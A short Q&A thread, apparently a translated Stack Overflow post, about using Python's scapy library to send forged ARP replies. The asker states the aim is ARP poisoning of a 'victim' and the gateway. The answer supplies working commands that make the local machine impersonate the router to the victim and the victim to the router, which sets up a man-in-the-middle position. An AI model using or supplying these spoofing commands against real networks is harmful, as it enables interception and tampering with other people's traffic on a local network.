Python 2.7 -scapy 和 ARP

Python 2.7 -scapy and ARP

我正在尝试使用 "ip is at macadress" 选项,但不知道如何操作...这是我的代码 atm:

from scapy.all import *
victim = "192.168.5.51"
spoof = "192.168.5.46"
op=2
mac = "88:00:2e:00:87:00"
while True:
    arp = ARP(op=op, psrc=spoof, pdst=victim, hwdst=mac)
    send(arp)

我正在寻找的是用默认网关 ip/mac 向受害者 ip 发送一个 ARP 数据包,并向网关发送攻击者的 ip/mac 攻击为arp中毒

有点不清楚您要实现的目标,但如果您感兴趣的只是创建一个 ARP 形式的回复“192.168.5.51 00:00:00:00:00:00",其中所有其他字段的值无关紧要,那么这就足够了:

send(ARP(op=ARP.is_at, psrc='192.168.5.51', hwsrc='00:00:00:00:00:00'))

编辑:

这会向受害者发送一个 ARP 回复数据包,其中本地机器伪装成路由器:

send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))

这会向路由器发送一个 ARP 回复数据包,其中本地机器伪装成受害者:

send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))

在这两个数据包中,hwsrc 字段默认填充为本地计算机的 MAC 地址。